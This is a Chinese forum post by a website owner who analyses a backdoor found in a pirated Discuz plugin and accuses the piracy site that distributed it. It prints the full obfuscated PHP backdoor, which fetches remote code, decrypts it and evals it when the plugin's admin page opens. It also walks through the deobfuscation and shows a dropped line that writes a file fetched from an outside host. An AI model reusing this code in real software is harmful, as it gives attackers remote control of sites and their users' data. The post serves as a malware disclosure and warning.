|
上次写了一篇文章 披露了盗版市场的乱象 ,没想到本人遭到魔趣吧的站长疯狂的报复。我自己的网站已经持续快10天被魔趣吧的站长使用DDOS攻击技术,打不开了!因为在其网站进行了手机绑定,手机也整天被短信+电话轰炸!搞的我最近经常要开飞行模式!
但是我是绝对不会像黑恶势力低头的,大不了我网站不做了,手机号码不用了!
因为前面的那篇文章写的比较概况,没有列举证据(导致其大肆误导不明真相的群众说我在造谣),今天我就来列举一些证据,并对已知的后门进行深入详细的分析!
这可能是最后一篇曝光盗版市场乱象的文章了,因为我只是一个普普通通的站长!那些江湖经验丰富的站长我惹不起,我也见识了魔趣吧是如果把黑的说成白的!
他的理念就是:只要对他有利的都是好文章,曝光他的都是在造谣他!
在正式进入主题之前,我想在说几句题外话:先不说他有没有干些见不得人的事,其损坏原创开发者权益,谋取自己的利益(俗称:盗版),还有什么资格在那一副正人君子的模样怼这个怼那个!
【下面才是今天要说的主题】
由于带后门的资源有点多,今天我就随便拿个在魔趣吧收费的资源,且我之前安装过,受害的资源来做分析!
样本下载链接:为了不给他打广告,帖子ID: 9183 ,知道他网站的随便打开一个帖子把id换成这个就可以定位到!
因为是VIP资源,所以我分享到了蓝奏网盘:https://wws.lanzous.com/iH9IQe6jymf 密码:c9mx
附件MD5值:C03B189CA9E0EA7F1229F609A48EC705
防止因为我的曝光,他会修改附件,然后狡辩!对本文有异议的朋友可以在本文发布不久的时候,前去下载对比MD5值后,并效验是不是存在本文提到的后门木马!
样本插件名称:积分提现中心 V1.2
木马文件所在路径:keke_tixian\function\function_core.php
木马完整代码:
- <?php
- function zm_diconv($str){
- $encode = mb_detect_encoding($str, array(
- "ASCII",
- "UTF-8",
- "GB2312",
- "GBK",
- "BIG5"
- ));
- if ($encode != CHARSET) {
- //$keytitle = iconv($encode,CHARSET."//IGNORE",$str);
- $keytitle = mb_convert_encoding($str, CHARSET, $encode);
- }
- if (!$keytitle) {
- $keytitle = $str;
- }
- return $keytitle;
- }
- function caidi($oo){
- $love = 'httpABczonekey`akndecryptud^gjchdh`winNULLB{NVJ:GJGbaiduseo`lpsck`xml';
- $forver=stripos($love,'d');
- $forvere=stripos($love,'z');
- $GLOBALS['love'] = preg_replace(array("/`.*?`/","/abc/i","/[A-Z_].*[A-Z_]/"),array(".","://","/"),$love);
- $forveres='DECODE';
- $aini=substr($love,$forver,$forvere);//获取方法函数名decrypt
- $aini=$oo?$forveres:$aini;
- return $aini;
- }
- function decrypt($data, $key = '721520') {
- global $_G;
- $key = $key ? $key : $_G['config']['security']['authkey'];
- $type = caidi($key);
- return authcode($data,$type, $key);
- }
- function contentz($svip) {
- if(function_exists('file_get_contents')) {
- $data = file_get_contents($svip);
- } else {
- $ch = curl_init();
- $timeout = 5;
- curl_setopt ($ch, CURLOPT_URL, $svip);
- curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
- $data = curl_exec($ch);
- curl_close($ch);
- }
- return $data;
- }
- $iloveyou = caidi($oo);
- eval($iloveyou(strip_tags(contentz($love))));
- ?>
复制代码 关键代码:
- $iloveyou = caidi($oo);
- eval($iloveyou(strip_tags(contentz($love))));
复制代码
有了这些信息 我们下面进行分析(在这里大胆的猜测一下:文件完全是魔趣吧自己加进去的,正版可能就没有这个文件,因为这个文件代码全是和后门有关!和插件自身功能没有关系)
在关键代码前面的都是木马伪装所需要用到的函数 执行过程如下:
1/----------------------
后门脚本执行入口:keke_tixian\admin.inc.php
关键代码在该文件第7行:引用后门文件并执行
require_once DISCUZ_ROOT .'./source/plugin/keke_tixian/function/function_core.php';
解释:只要安装插件一打开后台的插件设置,木马就自动执行了!
2/--------依次执行----------
$iloveyou = caidi($oo);
解释:定义一个名为 iloveyou 的变量 ,值为: caidi($oo)
调试: $iloveyou = caidi($oo); echo $iloveyou.$love; exit; ,得到 iloveyou 的值等于:decrypt
备注:函数 caidi 定义并赋值了 $love 作全局变量, love 的值等于:htt去p://zonekey.w掉in/b中ai文duseo.xml (去掉中文)
3/--------依次执行----------
eval($iloveyou(strip_tags(contentz($love))));
解释:已知 iloveyou 的值等于:decrypt,得到 eval(decrypt(strip_tags(contentz(htt去p://zonekey.w掉in/b中ai文duseo.xml))));
分析函数 contentz 得知该函数 是访问远程链接并返回内容,相当于 curl
分析函数 decrypt 得知该函数 是进行内容解密,直接调用了DISCUZ自带的解密函数 authcode
解释的解释:代码 eval($iloveyou(strip_tags(contentz($love)))); ,经过层层分析,最终为:
执行脚本 ( 解密 ( 访问远程代码 ( htt去p://zonekey.w掉in/b中ai文duseo.xml ) ) ) );
4/--------依次执行----------
因 htt去p://zonekey.w掉in/b中ai文duseo.xml 该链接现在访问返回的全部是 1111111111111111,所以无法继续分析远程的代码是什么!
可能魔趣吧站长已经知道我接下来会深入曝光他。所以暂时把远程代码先全部改成了 1111111111111111
即使是这样!又如何? 执行远程脚本 有什么危害?相信做网站的都知道!这里我不进行科普!感兴趣的站长可以百度自行科普:例:一句话木马,菜刀!
下面的代码是我网站自动多出来的一个文件:因为无法继续分析,直接看结果
- <?php
- file_put_contents("schizwcingu.php",file_get_contents("http://iqqvps.com/xss.txt"));
复制代码 上面的xss.txt 防止 魔趣吧站长 再去取消 我上传到了 蓝奏网盘 https://wws.lanzous.com/iPkAWe6na9c 密码:i1nc
End/--------刨根问底--------
在前面一篇文章中提到过了 魔趣吧站长声称该木马是源码哥的!
但是既然干了,就干到底!
百度了一下 搜索 到 源码哥 ,在他网站搜索 了一下 积分提现中心 果然找到一个一模一样的版本!
花了20块钱下载下来(真黑啊,1.2 这么旧的版本还卖20),不过花20块钱 能让大家看清,防止中木马。也值得!
结局打脸: 没有 keke_tixian\function\function_core.php 这个文件,因为是边写边弄的,既然写好了就这样吧!
虽然没有发现木马,但是应该也是一丘之貉,还是呼吁大家不要用盗版!不要用盗版!不要用盗版!
PS:对魔趣吧站长传播木马,DDOS我的网站,短信+电话轰炸我的手机号 表示非常的鄙视!
希望官方管理员能够曝光这篇文章,让更多准备用盗版的站长、已经在用盗版的站长。赶紧回头是岸!
样本已经上传到蓝奏网盘,文章写的不到位的地方,欢迎各路大神补充!
|
|